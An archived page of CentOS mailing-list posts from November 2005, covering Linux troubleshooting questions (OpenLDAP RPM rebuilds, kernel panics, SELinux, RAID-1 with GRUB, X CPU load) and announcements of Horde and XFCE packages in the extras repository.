From: Matt Hyclak [mailto:hyclak@math.ohiou.edu] > > On Wed, Nov 30, 2005 at 11:05:48AM -0500, Bowie Bailey enlightened us: > > > > I found an rpm from Fedora Core Development on RPMFIND. Will this one work > > with Centos, or should I grab the source rpm and rebuild it? > > Rebuild from src.rpm. Ok, tried that... $ rpmbuild --rebuild openldap-2.3.11-3.src.rpm Installing openldap-2.3.11-3.src.rpm error: Failed build dependencies: bind-libbind-devel is needed by openldap-2.3.11-3.x86_64 libtool-ltdl-devel is needed by openldap-2.3.11-3.x86_64 # yum install bind-libbind-devel libtool-ltdl-devel Setting up Install Process Setting up repositories update 100% |=========================| 951 B 00:00 base 100% |=========================| 1.1 kB 00:00 addons 100% |=========================| 951 B 00:00 extras 100% |=========================| 1.1 kB 00:00 Reading repository metadata in from local files Parsing package install arguments No Match for argument: bind-libbind-devel No Match for argument: libtool-ltdl-devel Nothing to do Where do I find these two? Do they have different names with CentOS, or do I have to get them from elsewhere? Thanks, Bowie

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gdb segfault under ddd
by Michael Ubell 01 Dec '05

01 Dec '05

I am using CentOS 4 GNU gdb Red Hat Linux (6.3.0.0-1.63rh) GNU DDD 3.3.9 (x86_64-redhat-linux-gnu) I bring up ddd on a program compiled -g and type: list function_name gdb seg faults. If I bring up ddd on gdb and then run gdb with the same program an type list function_name everything works just fine.

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Addition of Horde
by John Hinton 01 Dec '05

01 Dec '05

Johnny Hughes wrote: >CentOS Errata and Enhancement Advisory 2005:1130-1 > >CentOS 4 x86_64 Horde - Enhancement Update (Extras Only) > >We are pleased to add the Horde Application Framework as well as the >following horde projects to the CentOS extras repository: > >horde >imp-h3 >ingo-h3 >kronolith-h3 >mnemo-h3 >nag-h3 >gollem-h3 >turba-h3 > >Horde is an full featured webmail system for your server, please see >this link for details: > > > This is FANTASTIC news! Great selection of a great product. I've resisted to change to it simply due to the KISS mode of operation I try very hard to follow. A big pat-on-the-back to you folks! John Hinton

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Re: [CentOS] why was LILO removed from centOS 4.2?
by Brian T. Brunner 30 Nov '05

30 Nov '05

>>> mail-lists(a)karan.org 11/30/05 11:57AM >>> Brian T. Brunner wrote: > The question remains unanswered: WHY was LILO removed? You seem to have missed the post where I highlighted the fact that it has not been removed. ***Yes, the "removed" was only virtual (making it invisible unless you have ***knowledge from elsewhere) not surgical. > > The question was "Hey, REDHAT, *WHY*?" you also seem to have the wrong forum for that question, please contact redhat at one of the following ***Anybody here know of a reason? Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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X windows is taking 99 percent of cpu
by Jerry Geis 30 Nov '05

30 Nov '05

I am running centos 4.2 on a P4 3 GIG with 2 GIG ram. This machine has been fine for months. my laptop is fine. X is taking 99 percent of the cpu after some time. All I was doing was editing code. If I killall -9 X it comes back for a while then maxes out again. Any ideas on something to tweek??? THanks, jerry ------------ Tasks: 120 total, 2 running, 118 sleeping, 0 stopped, 0 zombie Cpu(s): 50.2% us, 0.0% sy, 0.0% ni, 49.8% id, 0.0% wa, 0.0% hi, 0.0% si Mem: 2074188k total, 742456k used, 1331732k free, 39704k buffers Swap: 19984840k total, 0k used, 19984840k free, 527876k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5270 root 25 0 170m 21m 5808 R 99.9 1.0 7:26.25 X 1 root 16 0 2264 556 476 S 0.0 0.0 0:00.44 init 2 root RT 0 0 0 0 S 0.0 0.0 0:00.00 migration/0 3 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0 4 root RT 0 0 0 0 S 0.0 0.0 0:00.02 migration/1 5 root 34 19 0 0 0 S 0.0 0.0 0:00.01 ksoftirqd/1 6 root 5 -10 0 0 0 S 0.0 0.0 0:00.10 events/0 7 root 5 -10 0 0 0 S 0.0 0.0 0:00.06 events/1 8 root 6 -10 0 0 0 S 0.0 0.0 0:00.00 khelper 9 root 15 -10 0 0 0 S 0.0 0.0 0:00.00 kacpid 33 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kblockd/0 34 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kblockd/1 44 root 20 0 0 0 0 S 0.0 0.0 0:00.00 pdflush 45 root 15 0 0 0 0 S 0.0 0.0 0:00.25 pdflush 35 root 15 0 0 0 0 S 0.0 0.0 0:00.00 khubd 47 root 13 -10 0 0 0 S 0.0 0.0 0:00.00 aio/0 48 root 9 -10 0 0 0 S 0.0 0.0 0:00.00 aio/1 46 root 25 0 0 0 0 S 0.0 0.0 0:00.00 kswapd0 122 root 25 0 0 0 0 S 0.0 0.0 0:00.00 kseriod 192 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 ata/0 193 root 7 -10 0 0 0 S 0.0 0.0 0:00.00 ata/1 195 root 20 0 0 0 0 S 0.0 0.0 0:00.00 scsi_eh_0 196 root 19 0 0 0 0 S 0.0 0.0 0:00.00 scsi_eh_1 214 root 15 0 0 0 0 S 0.0 0.0 0:00.18 kjournald 1144 root 6 -10 1560 460 380 S 0.0 0.0 0:00.02 udevd 1348 root 18 0 0 0 0 S 0.0 0.0 0:00.00 shpchpd_event 1828 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kauditd 2029 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kmirrord 2030 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kmir_mon 2049 root 15 0 0 0 0 S 0.0 0.0 0:00.28 kjournald 2050 root 19 0 0 0 0 S 0.0 0.0 0:00.00 kjournald 2789 root 16 0 2408 596 508 S 0.0 0.0 0:00.06 syslogd 2793 root 15 0 3072 472 404 S 0.0 0.0 0:00.00 klogd 2804 root 16 0 2584 476 404 S 0.0 0.0 0:00.00 irqbalance 2815 rpc 16 0 2980 580 484 S 0.0 0.0 0:00.00 portmap 2835 rpcuser 16 0 2440 756 656 S 0.0 0.0 0:00.00 rpc.statd 2868 root 16 0 5048 1016 844 S 0.0 0.0 0:00.01 rpc.idmapd

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Building rpms
by Bowie Bailey 30 Nov '05

30 Nov '05

I have been asked to update OpenLDAP to the latest stable version. I am using CentOS 4.2 and have OpenLDAP 2.2.13 installed. I can install from source if I have to, but I would rather stay with rpm packages if possible. I found an rpm from Fedora Core Development on RPMFIND. Will this one work with Centos, or should I grab the source rpm and rebuild it? Bowie

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RE: [CentOS] why was LILO removed from centOS 4.2?
by Nielsen, Steve 30 Nov '05

30 Nov '05

I meant not a visible choice by default :). Thanks for the tip. I was not aware of making it visible in that way. So at the prompt you type: "boot: lilo" ? Steve -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Karanbir Singh Sent: Wednesday, November 30, 2005 9:14 AM To: CentOS mailing list Subject: Re: [CentOS] why was LILO removed from centOS 4.2? Nielsen, Steve wrote: > lilo is still there. Its just not available as a choice in the install. yes it is available as an install option, you just need to ask anaconda for it ( boot the installer with 'lilo' as an option ) - K _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

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php 5.1.1
by Bob Pierce 30 Nov '05

30 Nov '05

I notice php 5.1.1 was released a few days ago. Are there any plans to include this new version in the centosplus repo for CentOS 4.2? Bob Pierce Systems Analyst Westman Communications Group pierceb(a)westmancom.com

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Is lsdev AWOL?
by Jerry W. Hubbard 30 Nov '05

30 Nov '05

I was looking at my newly installed CentOS 4.2 system with ls* commands yesterday and lsdev was not on the system. Did I miss installing a package? A Google search for CentOS 4.2 and lsdev was unhelpful. -- Jerry Hubbard hubbardjw(a)charter.net

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kernel panic this morning
by Jerry Geis 30 Nov '05

30 Nov '05

On 11/30/05, Jerry Geis <geisj at pagestation.com <http://lists.centos.org/mailman/listinfo/centos>> wrote: >/ When I came into work this morning the console had the following: />/ />/ bio_endio />/ __end_that_request_first />/ scsi_end_request />/ scsi_io_completion />/ scsi_finish_command />/ scsi_softirq />/ __do_softirq />/ do_softirg />/ do_irq />/ command_interrupt />/ default_idle />/ cpu_idle />/ start_kernel />/ />/ Panic />/ />Which version of CentOS ar you running? In CentOS 3/RHEL 3 the MD >subsystem has various race conditions (though this does not look like >the signature you would get from one of those panics). >Cheers...james Soory I forgot that I am running 4.2 with all current updates. jerry

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kernel panic this morning
by Jerry Geis 30 Nov '05

30 Nov '05

When I came into work this morning the console had the following: bio_endio __end_that_request_first scsi_end_request scsi_io_completion scsi_finish_command scsi_softirq __do_softirq do_softirg do_irq command_interrupt default_idle cpu_idle start_kernel Panic I am running software RAID-1 on this machine. I had 2 IDE disks and the machine when down once in a while with similiar messages. I switched to brand new 300 GIG SATA drives and now I am seeing the same kernel panic. What might be the problem here? THanks for any suggestions. Machine has 2 GIG RAM, Intel motherboard, Intel CPU 2.4 P4, "/" is 50 GIG, I have a 5 GIG Swap, and the rest is "/home". where / and /home are RAID-1 arrays. Jerry

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SELinux niggle
by Rob 30 Nov '05

30 Nov '05

Hi, I am not very experienced with SELinux and I have a problem which I can't track down. Any help would be really appreciated. I have an 'install everything' Centos 4.2 system which I am using as a workstation. Before anyone tells me off for installing everything, I have done this in order to get used to CentOS before using it on live servers. Anyway when I log into X (gnome, gdm) I start getting the following in /var/log/messages Nov 30 12:47:39 needme dbus: Can't send to audit system: USER_AVC pid=2916 uid=81 loginuid=-1 message=avc: denied { send_msg } for scontext=user_u:system_r:unconfined_t tcontext=user_u:system_r:initrc_t tclass=dbus Nov 30 12:48:10 needme last message repeated 7 times Nov 30 12:48:12 needme gconfd (MYUSERNAME-3780): Resolved address "xml:readwrite:/home/MYUSERNAME/.gconf" to a writable configuration source at position 0 Nov 30 12:48:15 needme dbus: Can't send to audit system: USER_AVC pid=2916 uid=81 loginuid=-1 message=avc: denied { send_msg } for scontext=user_u:system_r:unconfined_t tcontext=user_u:system_r:initrc_t tclass=dbus And it just keeps filling up my log file. I read James B. Byrne's post on the 15th about audit2allow but I don't believe that I should go fiddling with dbus. Wouldn't that just be shooting the messenger? I know that I wouldn't get these messages on a server because I wouldn't be running X, but I would like to understand what is going on and increase my confidence to admin SELinux properly. Thanks in advance Rob Watkin

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CentOS-announce Digest, Vol 9, Issue 16
by centos-announce-request＠centos.org 30 Nov '05

30 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEEA:2005-1130-1 CentOS 4 x86_64 horde - enhancement update (Extras Only) (Johnny Hughes) 2. CEEA:2005-1130-1 CentOS 4 i386 horde - enhancement update (Extras Only) (Johnny Hughes) 3. CEEA:2005-1130-2 CentOS 4 i386 drbd / heartbeat - enhancement update (Extras Only) (Johnny Hughes) 4. CEEA:2005-1130-2 CentOS 4 x86_64 drbd / heartbeat - enhancement update (Extras Only) (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 30 Nov 2005 05:48:42 -0600 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CEEA:2005-1130-1 CentOS 4 x86_64 horde - enhancement update (Extras Only) To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <1133351322.12053.73.camel(a)myth.home.local> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Enhancement Advisory 2005:1130-1 CentOS 4 x86_64 Horde - Enhancement Update (Extras Only) We are pleased to add the Horde Application Framework as well as the following horde projects to the CentOS extras repository: horde imp-h3 ingo-h3 kronolith-h3 mnemo-h3 nag-h3 gollem-h3 turba-h3 Horde is an full featured webmail system for your server, please see this link for details: http://www.horde.org/projects.php The install directory is /usr/share/horde with all the other applications in a separate directory under /usr/share/horde. Setup of each application is required per the on site instructions for each, starting with the horde application framework. http://www.horde.org/horde/docs/ ---------------------------- Installation of all horde applications can be done with the command: yum groupinstall Horde-Apps You may also choose to install individual applications only using yum like this: yum install horde imp-h3 ------------------------- The following files are added to the Extras repo and syncing to the mirrors: i386: gollem-h3-1.0-1.centos4.noarch.rpm horde-3.0.7-1.centos4.noarch.rpm imp-h3-4.0.4-1.centos4.noarch.rpm ingo-h3-1.0.2-1.centos4.noarch.rpm kronolith-h3-2.0.5-1.centos4.noarch.rpm mnemo-h3-2.0.2-1.centos4.noarch.rpm nag-h3-2.0.3-1.centos4.noarch.rpm turba-h3-2.0.4-1.centos4.noarch.rpm src: gollem-h3-1.0-1.centos4.src.rpm horde-3.0.7-1.centos4.src.rpm imp-h3-4.0.4-1.centos4.src.rpm ingo-h3-1.0.2-1.centos4.src.rpm kronolith-h3-2.0.5-1.centos4.src.rpm mnemo-h3-2.0.2-1.centos4.src.rpm nag-h3-2.0.3-1.centos4.src.rpm turba-h3-2.0.4-1.centos4.src.rpm

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Installation problems on old IBM server
by HaraldFinnås 30 Nov '05

30 Nov '05

I'm trying to install CentOS 4.2 on an old IBM x300 server, but it hangs during the boot from cd. The last entries I can see before it dies are the two "agpgart" lines. I've been playing around with bios settings (video settings and serial settings since the serial driver is the next thing going on in the kernel) and boot params (noapic, acpi=off etc) but I just can't get this thing up and running. It's been working like a charm (and still does) with CentOS 3. Any tips? Regards, Harald

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CentOS 4.2 issues
by Mickael Maddison 29 Nov '05

29 Nov '05

Hello CentOS, I've just taken 2 old servers running CentOS 3.x, wiped it out, and installed CentOS 4.1 The systems seemed to work fine with CentOS 4.1, but when I proceeded to run yum -y update, all the RPM's (101) download and seem to install fine - however, upon reboot, partitions such as /usr/ and /var will not mount (ext3). These machines both use the Intel S875WP1 P4 Mainboards. Both use SATA Drives. One uses the promise controller (which on install seems to find a suitable driver). Anyway, I've also tried installing directly from the CentOS 4.2 Server CD, same issue. Install goes fine, but bootup won't mount /var Any idea what this is all about? -- Best regards, Mickael mailto:centos@silverservers.com

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iscsi-tools
by Maarten van Lieshout 29 Nov '05

29 Nov '05

Hi, Is there a reason why the iscsi-initiator-utils from RHEL differs from the original linux-iscsi one? I miss the mount-all and umount-all scripts. Without these, how can you safely reboot your server??? You're going to run into problems if you reboot your server without first umounting the iscsi-drives. cheers, -- Maarten

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Re: [CentOS] A minor beef
by James B. Byrne 29 Nov '05

29 Nov '05

On Mon, 28 Nov 2005 08:03:21 -0500, "Bryan J. Smith" <thebs413(a)earthlink.net> wrote: > Illegal redistribution is illegal redistribution. It's not > debatable. I would point out, tongue in cheek, that the practitioners of an entire profession make a very good living by assuming otherwise. Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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kde-file manager su mode
by rado 29 Nov '05

29 Nov '05

hi y'all, ...realize that maybe I should go to kde w/this but then, I do run centos on my systems soooo... kk I like to run kde's file manager in super user mode. On one of my systems, it's acting it's ass...as my default editor I do use kwrite and I normally set that up to open any text type file w/that but for some reason, on this one certain system, I can't navigate among the folders. I double click on a folder as I normally do and it just throws me into kwrite instead on just navigating down the tree. Just wondering if any of y'all might have some ideas to correct this simply. I just can't seem to find the right config option to do it. thx John Rose -- ...and I woke up 2 days later in the back yard talking to Elvis!

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cdrecord Error (Permissions?)
by Alex White 28 Nov '05

28 Nov '05

List, Sorry to trouble anyone, a google on my error from k3b lead me to a permissions issue, but after searching through several of the links (including a few forums) I've failed to turn up exactly what the permissions should be or if that is even an accurate solution. When running k3b I get an error stating that cdrecord did not exit properly. And k3b will not burn a cd. Running cdrecord from the command line as such: /usr/bin/cdrecord -v gracetime=2 dev=/dev/hdd speed=40 -dao driveropts=burnfree -eject -data /home/fakeuser/cdimage.iso I am met with a Segmentation fault. There is no other error obviously. Any ideas? I'm running this as a regular user. Root does not encounter this problem. So the iso is perfectly fine. I am under the assumption that I inadvertently changed the permissions of cdrecord or somethin' else stupid happened. What permissions does cdrecord need to be run as a regular user or should I be using sudo to burn a cd using cdrecord anyhow? Should cdrecord be suid? Sorry to bother! Alex White

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wireless protection with mixed network and is AES or TKIP better or other??
by Robert 28 Nov '05

28 Nov '05

greetings in setting up a mixed network of CentOS, WinThings, Cisco, and more... i need a lil' feedback please re: practical wireless WPA settings... i always just used WPA PSK and TKIP by defauly (never thought about any issues here before, DUH!) yet i have done some reading while searching recently and it appeared to inform me that ummmm if using WPA-PSK that one should use AES instead of TKIP will i have issues/problems either way with installing CentOS in a wireless manner using AES or TKIP for that matter? again, most of this is about AES vs. TKIP from a engineering, performance, reliability and more standpoint... then of course CentOS integration etc... wisdom and comments from the list please? thank you in advance and kind regards, - rh -- Robert Hanson - Abba Communications Computer & Internet Services (509) 624-7159 - www.abbacomm.net

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DAG repo problem
by Dominik Składanowski 28 Nov '05

28 Nov '05

Hello list. Anybody noticed broken checksum in DAG repo? Since Saturday I can't update few packages from DAG repo. I tried other mirror - result the same: Transaction Summary ============================================================================= Install 0 Package(s) Update 17 Package(s) Remove 0 Package(s) Total download size: 5.0 M Is this ok [y/N]: y Downloading Packages: (1/1): perl-MIME-tools-5. 100% |=========================| 268 kB 00:04 http://apt.sw.be/redhat/el4/en/i386/dag/RPMS/perl-MIME-tools-5.418-1.2.el4.…: [Errno -1] Package does not match checksum Trying other mirror. Error Downloading Packages: perl-MIME-tools - 5.418-1.2.el4.rf.noarch: failure: RPMS/perl-MIME-tools-5.418-1.2.el4.rf.noarch.rpm from dag: [Errno 256] No more mirrors to try. Regards -- ____________________________________________________________________ D o m i n i k S k ł a d a n o w s k i

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CentOS-announce Digest, Vol 9, Issue 15
by centos-announce-request＠centos.org 28 Nov '05

28 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEEA:2005-1127-1 CentOS 4 i386 XFCE 4.2 - enhancement update (Extras Only) (Johnny Hughes) 2. CEEA:2005-1127-1 CentOS 4 x86_64 XFCE 4.2 - enhancement update (Extras Only) (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Sun, 27 Nov 2005 14:16:54 -0600 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CEEA:2005-1127-1 CentOS 4 i386 XFCE 4.2 - enhancement update (Extras Only) To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <1133122614.32526.33.camel(a)myth.home.local> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Enhancement Advisory 2005:1127-1 CentOS 4 i386 XFCE - Enhancement Update (Extras Only) This update is for the version of XFCE is that is included in the Extras repo for CentOS-4 ... this is not an update to the main CentOS-4 repo. The XFCE-4.2 desktop environment is being upgraded from 4.2.1 to 4.2.3. There are some new features added including xfcalendar and xfce4-mixer. This version is based on the XFCE-4 sources that are included in Fedora Core (tm) 4 extras and will continue to track against that version throughout it's lifetime. The older version that this update replaces was from Fedora Core (tm) 3 sources. The following files are updated and syncing to the mirrors: i386: dbh-1.0.24-1.c4.i386.rpm dbh-devel-1.0.24-1.c4.i386.rpm gtk-xfce-engine-2.2.8-1.c4.i386.rpm libxfce4mcs-4.2.3-1.c4.i386.rpm libxfce4mcs-devel-4.2.3-1.c4.i386.rpm libxfce4util-4.2.3.2-1.c4.i386.rpm libxfce4util-devel-4.2.3.2-1.c4.i386.rpm libxfcegui4-4.2.3-2.c4.i386.rpm libxfcegui4-devel-4.2.3-2.c4.i386.rpm xfcalendar-4.2.3-1.c4.i386.rpm xfce4-appfinder-4.2.3-1.c4.i386.rpm xfce4-iconbox-4.2.3-1.c4.i386.rpm xfce4-icon-theme-4.2.3-1.c4.noarch.rpm xfce4-mixer-4.2.3-1.c4.i386.rpm xfce4-panel-4.2.3-1.c4.i386.rpm xfce4-panel-devel-4.2.3-1.c4.i386.rpm xfce4-session-4.2.3-1.c4.i386.rpm xfce4-session-devel-4.2.3-1.c4.i386.rpm xfce4-session-engines-4.2.3-1.c4.i386.rpm xfce4-systray-4.2.3-1.c4.i386.rpm xfce4-toys-4.2.3-1.c4.i386.rpm xfce4-trigger-launcher-4.2.3-1.c4.i386.rpm xfce-mcs-manager-4.2.3-1.c4.i386.rpm xfce-mcs-manager-devel-4.2.3-1.c4.i386.rpm xfce-mcs-plugins-4.2.3-1.c4.i386.rpm xfce-utils-4.2.3-1.c4.i386.rpm xfdesktop-4.2.3-1.c4.i386.rpm xffm-4.2.3-1.c4.i386.rpm xfprint-4.2.3-1.c4.i386.rpm xfwm4-4.2.3.2-1.c4.i386.rpm xfwm4-themes-4.2.3-1.c4.noarch.rpm src: dbh-1.0.24-1.c4.src.rpm gtk-xfce-engine-2.2.8-1.c4.src.rpm libxfce4mcs-4.2.3-1.c4.src.rpm libxfce4util-4.2.3.2-1.c4.src.rpm libxfcegui4-4.2.3-2.c4.src.rpm xfcalendar-4.2.3-1.c4.src.rpm xfce4-appfinder-4.2.3-1.c4.src.rpm xfce4-iconbox-4.2.3-1.c4.src.rpm xfce4-icon-theme-4.2.3-1.c4.src.rpm xfce4-mixer-4.2.3-1.c4.src.rpm xfce4-panel-4.2.3-1.c4.src.rpm xfce4-session-4.2.3-1.c4.src.rpm xfce4-systray-4.2.3-1.c4.src.rpm xfce4-toys-4.2.3-1.c4.src.rpm xfce4-trigger-launcher-4.2.3-1.c4.src.rpm xfce-mcs-manager-4.2.3-1.c4.src.rpm xfce-mcs-plugins-4.2.3-1.c4.src.rpm xfce-utils-4.2.3-1.c4.src.rpm xfdesktop-4.2.3-1.c4.src.rpm xffm-4.2.3-1.c4.src.rpm xfprint-4.2.3-1.c4.src.rpm xfwm4-4.2.3.2-1.c4.src.rpm xfwm4-themes-4.2.3-1.c4.src.rpm

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Problem enabling write-back cache for IBM ServeRAID controller in CENTOS 4.2
by Radu Radutiu 28 Nov '05

28 Nov '05

Hi, I have just upgraded an IBM Xseries x225 server to CentOS 4.2 (from CentOS 3.6) and found out that write back cache is not enabled for the drive representing the RAID array. The RAID controller has 128 MB battery backed cache. Write back cache is enabled in the controller configuration (using the IBM boot cd) and verified using the IBM RaidManager utility, but the boot messages show that the cache setup is write-through instead of write-back. scsi0 : IBM PCI ServeRAID 7.10.18 Build 731 <ServeRAID 6i> Vendor: IBM Model: SERVERAID Rev: 1.00 Type: Direct-Access ANSI SCSI revision: 02 SCSI device sda: 213288960 512-byte hdwr sectors (109204 MB) SCSI device sda: drive cache: write through sda: sda1 sda2 If I boot CentOS 3.6 in rescue mode I have write back cache enabled. I have tried to use the sdparm utility to enable write back cache but it says that this parameter is not changeable. sdparm --get=WCE /dev/sda -6 /dev/sda: IBM SERVERAID 1.00 WCE 0 [Changeable: n, def: 0, saved: 0] I have looked at the ips module parameters but none seem to affect the write cache. Any ideas how to enable write back cache? Thanks, Radu

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centos4.2:raid1:grub
by rado 28 Nov '05

28 Nov '05

Hi! Whew, I have googled around a lot w/this but can't quite seem to come up w/the right answer. This system works beautifully w/nothing wrong w/it. But my goal is to be able to test the raid system by just unplugging hda to mimic a faulty drive and have it just carry on and boot from hdc. md0 = hda1/hdc1 /boot (primary boot partitions on both drives) md1 = hda2/hdc2 / is it possible to just edit /boot/grub.conf??? I am really not sure of this Thx in advance. John Rose

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kernel rpm with imq support
by mbneto 28 Nov '05

28 Nov '05

Hi, I was wondering if anyone mantains a Centos kernel* with IMQ patches applied. I need to use some features to control traffic (QoS) not available with the regular kernel Regards, mb

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centos4.2 -raid 1 and grub
by Jerry Geis 28 Nov '05

28 Nov '05

I had this little shell script. Use at your own risk... Jerry --------- # To load a blank drive with the old partition information use the command: # sfdisk /dev/hda < /etc/silentm/raidinfo.partitions.hda # The following command will setup the passed argument to boot in case the main disk is faulty # $1 is either /dev/hdb or /dev/sdb grub_setup_scsi() { grub << EOF find /boot/grub/stage1 device (hd0) /dev/sdb root (hd0,0) setup (hd0) EOF } grub_setup_ide() { grub << EOF find /boot/grub/stage1 device (hd0) /dev/hdb root (hd0,0) setup (hd0) EOF } DISK_TYPE=`fdisk -l /dev/hda | grep "/dev/hda"` if [ "$DISK_TYPE" = "" ] then echo "Assuming SCSI drives" sfdisk -d /dev/sda > /etc/silentm/raidinfo.partitions.sda sfdisk -d /dev/sdb > /etc/silentm/raidinfo.partitions.sdb grub_setup_scsi else echo "Assuming IDE drives" sfdisk -d /dev/hda > /etc/silentm/raidinfo.partitions.hda sfdisk -d /dev/hdb > /etc/silentm/raidinfo.partitions.hdb grub_setup_ide fi

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OT - redirection script help
by Thomas E Dukes 27 Nov '05

27 Nov '05

Hello, Sorry to ask an off topic question but I know there are people on this list that can help or point me in the right direction. I will be moving a website in a few days and want to have it redirected to the new url. I know how to do this but I would like to have it have a countdown on the page. I know everyone has seen this before, does anyone know how to set this up? I have looked for this on hotscripts.com but I may not be looking in the right category. Any help would be appreciated.

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Evolution Filters
by Lee W 27 Nov '05

27 Nov '05

Hi, I have just switched from using Thunderbird to Evolution on Centos 4.2 for my IMAP email and seem to be having problems with the filters. The filters I have created a really simple, such as checking for the [CentOS] in the subject line of this lists postings. The filters don't however get applied automatically, I have to select all the message in the inbox and manually select "Apply Filters" at which point all the messages get filtered correctly. I have made sure that the "Apply filters to new message in INBOX on this Server" is selected but it doesn't make any difference. Can someone advise if Evolution is supposed to work this way (as I have come to expect from Thunderbird) or is it correct that I have to apply the filters manually for IMAP folders. Thanks in advance Lee

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Start scripts ordering
by Phil Savoie 27 Nov '05

27 Nov '05

Hi All, Was wondering if you could help me out. At work we are running CentOS 4.2 as our mailserver/firewall. The script in question is /etc/rc3.d/S08iptables. As this starts before the network adapters are set up, it hoses our iptables script resulting in denying our internal hosts internet access. What I would like to do is mv the script to /etc/rc3.d/S11iptables so the the interfaces are up and then the iptables script kicks in. It is in this way that we find it works best for us. However on a reboot we found that the "system" moved the script back to it's original name of /etc/rc3.d/S08iptables. How would I "tell the system" to keep the script named as /etc/rc3.d/S11iptables so that it does not automatically rename it back to /etc/rc3.d/S08iptables? Thank you in advance, Phil

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Quota and Squirrelmail
by Alain Reguera 27 Nov '05

27 Nov '05

Hello, I have CentOS with quotas installed and make the users read their mails through squirrelmail. So I've been applied quotas in 2 partition, one for home, and other for /var/spool/mail/ directory. the problem is when the quota is over, the inbox in squirrelmail is locked so the user can't delete their mails and free the space. And all is frozen for them. Don't know If the question is in the right place. But could you suggest something. Any thing would be very appreciated. Thanks for your time.

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webmaster in mqueue
by John Hinton 27 Nov '05

27 Nov '05

Anybody finding a huge mailfile named webmaster in their mqueue? I'm wondering what/how this gets there? Just found one on one server that was over 2 gigs! Yuck!!! So far, this has been on CentOS 3 machines using sendmail. Best, John Hinton

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kernel load 40-50%?
by Alberto 27 Nov '05

27 Nov '05

Is there any command to view what kernel is doing when I have a high kernel/system load??

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Re: [CentOS] A minor beef
by James B. Byrne 27 Nov '05

27 Nov '05

On Fri, 25 Nov 2005 21:30:26 -0500, "Bryan J. Smith" <thebs413(a)earthlink.net> wrote: > You were paying $1,000/year for RHEL ES??? As I recall it was in the $700.00 USD range which amounted to over $1,000.00 CAD per year at that time. And that was with the discount that RH gave to early adopters of their new support programs when we were forced off of our previous plan with the depreciation of RH9 (at ~$60.00 USD per host per year). However, I might be confusing the renewal price with what we actually paid while on RH support. In any case, the final cost in the second and subsequent years was over the magic three figure limit. Perhaps if you have hundreds or thousands of machines then RH might offer attractive bulk discounts, but for companies with just a handful of servers the cost of RH update support was made unbearable. I see now that there is a Basic level of support available from RH, which I do not recall as being offered originally. This presently costs $349.00 USD or about $410.00 CAD per host per year and I suppose that this service is equivalent to what CentOS provides in effect. To create a local mirror for RH updates without paying the per host fee is, of course, a violation of the contracted support agreement. One is compelled to place each host on contract, go without support for some hosts, or pay a tremendous sum of money for the privilege of maintaining a local mirror. To put RH pricing in perspective, I just installed a 2.8Ghz P4 server with a DVD DL super-mode burner, 250Gb of disc and 2Gb of RAM for less than $600.00 CAD. As I wrote earlier CentOS, at ~$25.00 (CAD) per host, is a bargain in comparison to RH. The minuscule degree of delay in updates between RH and CentOS hardly bears serious consideration in the matter. I suppose that if you have a government regulator on your back about some security issue or other then one might find a certain legal solace in pointing to a subscribed service as evidence of due diligence. Then again, our federal government requires us to use an application written only for the now depreciated and unavailable Microsoft JVM and supports it only under MS-IE 5.5 running on a pre- XP version of MS-Windows. So, go figure. (It runs, so far, under a fully patched MS-IE 6, but that is not the supported platform.) Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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rdnc error
by Thomas E Dukes 27 Nov '05

27 Nov '05

